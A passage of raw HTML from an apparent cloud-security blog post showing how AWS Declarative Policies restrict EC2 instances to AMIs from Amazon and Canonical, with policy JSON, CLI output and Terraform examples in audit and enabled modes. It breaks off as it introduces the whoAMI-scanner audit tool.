  &lt;/div&gt; 
  &lt;div&gt;
   &lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;
  &lt;/div&gt; 
  &lt;div&gt;
   &lt;span style="color: #7303c0; font-size: 18px;"&gt;# Find the latest Ubuntu AMI&lt;/span&gt;
  &lt;/div&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;data "aws_ami" "ubuntu" {&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; most_recent = true&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;br&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; filter {&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; name = "name"&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; values = ["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"]&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;br&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; owners = ["099720109477"] # Canonical&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;div style="font-size: 20px;"&gt;
   &lt;code&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/code&gt;
  &lt;/div&gt; 
  &lt;div&gt;
   &amp;nbsp;
   &lt;br&gt;
   &lt;br&gt;
  &lt;/div&gt; 
  &lt;div&gt;
   &amp;nbsp;
  &lt;/div&gt; 
 &lt;/div&gt; 
 &lt;div&gt; 
  &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Defining Security Guardrails with Declarative Policies &#x1f6e1;️&lt;/span&gt;&lt;/h2&gt; 
  &lt;div&gt; 
   &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
   &lt;div&gt; 
    &lt;div style="font-size: 18px;"&gt;
     &lt;span style="background-color: transparent; font-weight: var(--bs-body-font-weight); text-align: var(--bs-body-text-align);"&gt;In December 2024, AWS launched &lt;/span&gt;
     &lt;a href="https://aws.amazon.com/blogs/aws/simplify-governance-with-declarative-policies/"&gt;&lt;span style="background-color: transparent; font-weight: var(--bs-body-font-weight); text-align: var(--bs-body-text-align);"&gt;Declarative Policies&lt;/span&gt;&lt;/a&gt;
     &lt;span style="background-color: transparent; font-weight: var(--bs-body-font-weight); text-align: var(--bs-body-text-align);"&gt;, a new AWS Organizations policy type allowing for defining and enforcing controls across multiple accounts. As of this writing, Declarative Policies specifically support select controls for Amazon VPC, Amazon EBS, and Amazon EC2. The ladder is what we're interested in for this blog post.&lt;/span&gt;
    &lt;/div&gt; 
   &lt;/div&gt; 
  &lt;/div&gt; 
 &lt;/div&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;div&gt; 
  &lt;div style="font-size: 18px;"&gt;
   &lt;span&gt;For this to work, there are a few pre-requisites:&lt;/span&gt;
  &lt;/div&gt; 
  &lt;ul style="font-size: 18px;"&gt; 
   &lt;li&gt;&lt;span&gt;AWS Organizations must be set up. See the &lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_tutorials_basic.html"&gt;AWS &lt;/a&gt;&lt;/span&gt;&lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_tutorials_basic.html"&gt;&lt;span&gt;documentation&lt;/span&gt;&lt;/a&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span&gt;AWS Organizations Management Policies must be enabled. See the &lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_management_policies.html"&gt;AWS &lt;/a&gt;&lt;/span&gt;&lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_management_policies.html"&gt;&lt;span&gt;documentation&lt;/span&gt;&lt;/a&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt; 
  &lt;/ul&gt; 
  &lt;br&gt; 
  &lt;div style="font-size: 18px;"&gt;
   &lt;span&gt;Below is an example Declarative Policy that defines only AMIs from Amazon and Canonical (&amp;nbsp;&lt;/span&gt;
   &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;099720109477&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
   &lt;span&gt;&amp;nbsp;) are allowed to be used. We can choose from three different state options:&lt;/span&gt;
  &lt;/div&gt; 
  &lt;br&gt; 
  &lt;ul style="font-size: 18px;"&gt; 
   &lt;li&gt;&lt;span&gt;&lt;span style="color: #d63384;"&gt;enabled&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;- Any AMI that does not meet the policy will be blocked from use for &lt;/span&gt;&lt;span&gt;**new**&lt;/span&gt;&lt;span&gt; instances.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span&gt;&lt;span style="color: #d63384;"&gt;disabled&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;- Nothing will happen as the policy is disabled.&lt;/span&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;span&gt;&lt;span style="color: #d63384;"&gt;audit_mode&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;- Any AMI that does not meet the policy will be marked with &lt;/span&gt;&lt;span&gt;`Not Allowed`&lt;/span&gt;&lt;span&gt; in the console and &lt;/span&gt;&lt;span&gt;`ImageAllowed: false`&lt;/span&gt;&lt;span&gt; in the CLI but these can still be used.&lt;/span&gt;&lt;/li&gt; 
  &lt;/ul&gt; 
  &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
  &lt;p style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; "ec2_attributes": {&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "allowed_images_settings": {&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "state": {&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "@@assign": "audit_mode"&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; },&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "image_criteria": {&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "criteria_1": {&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "allowed_image_providers": {&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "@@assign": [&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "amazon",&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "099720109477"&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ]&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; }&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
 &lt;/div&gt; 
 &lt;div&gt; 
  &lt;h2 style="font-size: 24px;"&gt;&amp;nbsp;&lt;/h2&gt; 
  &lt;h2 style="font-size: 24px;"&gt;&lt;span&gt;Enabling the Declarative Policy in Audit Mode&lt;/span&gt;&lt;/h2&gt; 
  &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
  &lt;div&gt; 
   &lt;div style="font-size: 18px;"&gt;
    &lt;span&gt;When in Audit Mode, the policy will not block any AMIs that do not meet the policy. Instead, it will mark them as &lt;/span&gt;
    &lt;span&gt;&lt;span style="color: #d63384;"&gt;Not Allowed&lt;/span&gt;&lt;/span&gt;
    &lt;span&gt; in the AWS Console and &lt;/span&gt;
    &lt;span&gt;&lt;span style="color: #d63384;"&gt;ImageAllowed: false&lt;/span&gt;&lt;/span&gt;
    &lt;span&gt;&amp;nbsp;in the AWS CLI. Terraform won't provide any indication that the AMI is not allowed by the policy.&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/AMI-Not-Allowed-shown-in-the-console.png?width=3278&amp;amp;height=1056&amp;amp;name=AMI-Not-Allowed-shown-in-the-console.png" width="3278" height="1056" alt="AMI-Not-Allowed-shown-in-the-console" style="height: auto; max-width: 100%; width: 3278px;"&gt;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt; 
    &lt;div style="font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; aws&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--region&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;us-east-1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ec2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;describe-images&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--owners&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;111111111111&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="font-size: 20px;"&gt;
     &lt;span&gt;&amp;nbsp;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div style="font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt;{&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; "Images"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; [SNIP]&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"Description"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"Do you trust me?",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"EnaSupport"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"Hypervisor"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"xen",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"Name"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"Attacker created AMI",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"RootDeviceName"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"/dev/xvda",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"RootDeviceType"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"ebs",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"SriovNetSupport"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"simple",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"VirtualizationType"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"hvm",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"BootMode"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"uefi-preferred",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"ImdsSupport"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"v2.0",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"SourceInstanceId"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"i-0fa570802e5bec65a",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"ImageAllowed"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;code&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"SourceImageId"&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"ami-05b10e08d247fb927",&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div style="padding-left: 120px; font-size: 20px;"&gt;
     &lt;span style="color: #7303c0;"&gt;&lt;code&gt; [SNIP]&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &amp;nbsp;
    &lt;/div&gt; 
    &lt;div&gt; 
     &lt;h2 style="font-size: 24px;"&gt;&amp;nbsp;&lt;/h2&gt; 
     &lt;h2 style="font-size: 24px;"&gt;&lt;span&gt;Enabling the Declarative Policy in Enabled Mode&lt;/span&gt;&lt;/h2&gt; 
     &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
     &lt;div&gt; 
      &lt;div style="font-size: 18px;"&gt;
       &lt;span&gt;When in Enabled Mode, the policy will block any AMIs that do not meet the policy from being used for &lt;/span&gt;
       &lt;strong&gt;new&lt;/strong&gt;
       &lt;span&gt; instances. In this case, the AWS Console and AWS CLI, will not show any AMIs that do not meet the policy requirements. When using an AMI that does not meet the policy within Terraform, you will receive an &lt;/span&gt;
       &lt;span style="color: #d63384;"&gt;image id does not exist&lt;/span&gt;
       &lt;span&gt;&amp;nbsp;error when trying to deploy.&lt;br&gt;&lt;br&gt;&lt;/span&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 18px;"&gt;
       &amp;nbsp;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span&gt;resource "aws_instance" "unauthorized_ami" {&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; ami = "ami-0010edd796fd9c04d"&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; instance_type = "t2.micro"&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span&gt;}&lt;br&gt;&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &amp;nbsp;
      &lt;/div&gt; 
      &lt;div style="font-size: 18px;"&gt;
       &lt;span style="background-color: transparent; font-weight: var(--bs-body-font-weight); text-align: var(--bs-body-text-align);"&gt;&amp;nbsp;&lt;/span&gt;
       &lt;span style="color: #d63384;"&gt;&lt;/span&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt; 
       &lt;div style="font-size: 20px;"&gt;
        &lt;code&gt;&lt;span&gt;&lt;span style="color: #7303c0;"&gt;$&lt;/span&gt; terraform apply -auto-approve&lt;/span&gt;&lt;/code&gt;
       &lt;/div&gt; 
       &lt;div style="font-size: 20px;"&gt;
        &lt;span&gt;&lt;/span&gt;
        &lt;span&gt;&lt;/span&gt;
       &lt;/div&gt; 
      &lt;/div&gt; 
      &lt;br&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span style="color: #7303c0;"&gt;│&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Error: &lt;/span&gt;&lt;span&gt;creating&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;EC2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Instance:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;operation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;EC2:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;RunInstances,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;response&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;StatusCode:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;400,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;RequestID:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;c0416b31-be2d-4d9b-a502-a5b24243d2fb,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;api&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;InvalidAMIID.NotFound:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;The&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;'[ami-0010edd796fd9c04d]'&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;does&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exist&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span style="color: #7303c0;"&gt;│&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span style="color: #7303c0;"&gt;│&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;aws_instance.example,&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span style="color: #7303c0;"&gt;│&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main.tf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;line&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resource&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"aws_instance"&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"example":&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
      &lt;div style="font-size: 20px;"&gt;
       &lt;code&gt;&lt;span style="color: #7303c0;"&gt;│&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;6:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resource&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"aws_instance"&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;"example"&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/code&gt;
      &lt;/div&gt; 
     &lt;/div&gt; 
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span&gt;&amp;nbsp;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span&gt;&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt; 
     &lt;div&gt; 
      &lt;div style="font-size: 24px;"&gt;
       &lt;span&gt;Understanding the Declarative Policy Impact in Enabled Mode&lt;/span&gt;
      &lt;/div&gt; 
      &lt;div&gt;
       &lt;span&gt;&amp;nbsp;&lt;/span&gt;
      &lt;/div&gt; 
     &lt;/div&gt; 
    &lt;/div&gt; 
    &lt;div&gt; 
     &lt;div style="font-size: 18px;"&gt;
      &lt;span&gt;&lt;br&gt;You may be interested in understanding the impact of enabling this Declarative Policy in your AWS account. This section will help to answer some of the questions you may have.&lt;br&gt;&lt;br&gt;&lt;/span&gt;
     &lt;/div&gt; 
     &lt;div style="font-size: 18px;"&gt;
      &lt;span&gt;&amp;nbsp;&lt;/span&gt;
     &lt;/div&gt; 
     &lt;div&gt; 
      &lt;div&gt; 
       &lt;div style="font-size: 18px;"&gt;
        &lt;strong&gt;What happens to existing EC2s in an account using an AMI denied by policy?&lt;/strong&gt;
       &lt;/div&gt; 
       &lt;ul style="font-size: 18px;"&gt; 
        &lt;li&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;No impact. This only impacts newly created EC2s, not existing ones.&lt;/span&gt;&lt;/li&gt; 
       &lt;/ul&gt; 
       &lt;br&gt; 
       &lt;div style="font-size: 18px;"&gt;
        &lt;strong&gt;What happens if I make a copy of an AMI that is not allowed by policy but was already running in my account before the policy was enforced?&lt;/strong&gt;
       &lt;/div&gt; 
       &lt;ul style="font-size: 18px;"&gt; 
        &lt;li&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;You can make a copy and it will be allowed because you're now the account owner of the copied AMI.&lt;/span&gt;&lt;/li&gt; 
       &lt;/ul&gt; 
      &lt;/div&gt; 
      &lt;div&gt;
       &amp;nbsp;
      &lt;/div&gt; 
      &lt;div&gt;
       &lt;br&gt; 
       &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Discovering AMIs that Violate the Declarative Policy &#x1f575;️‍♂️&lt;/span&gt;&lt;/h2&gt; 
       &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
       &lt;div style="font-size: 18px;"&gt;
        &lt;span&gt;Because the Declarative Policy does not impact existing AMIs even in &lt;/span&gt;
        &lt;span&gt;`enabled`&lt;/span&gt;
        &lt;span&gt; mode, you may want to audit your environment to see which AMIs used violate your new policy.&lt;/span&gt;
       &lt;/div&gt; 
       &lt;br&gt; 
       &lt;div style="font-size: 18px;"&gt;
        &lt;span&gt;To do so you could enumerate the Owner IDs of the AMIs in your account which could be automated via the AWS CLI, SDK, or a third-party tool like Datadog's &lt;/span&gt;
        &lt;a href="https://github.com/DataDog/whoAMI-scanner"&gt;&lt;span&gt;whoAMI-scanner&lt;/span&gt;&lt;/a&gt;
        &lt;span&gt;&amp;nbsp;tool.&lt;/span&gt;
       &lt;/div&gt; 
       &lt;div&gt;
        &lt;span&gt;&amp;nbsp;&lt;/span&gt;
       &lt;/div&gt; 
       &lt;div&gt;
        &lt;span&gt;&amp;nbsp;&lt;/span&gt;
       &lt;/div&gt; 
       &lt;h2 style="font-size: 24px;"&gt;&lt;span&gt;whoAMI-scanner&amp;nbsp;&lt;/span&gt;&lt;/h2&gt; 
       &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
       &lt;div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &lt;span&gt;We can install the whoAMI-scanner tool via GO. &lt;/span&gt;
        &lt;/div&gt; 
        &lt;div style="font-size: 18px;"&gt;
         &amp;nbsp;
        &lt;/div&gt; 
        &lt;div style="font-size: 20px;"&gt;
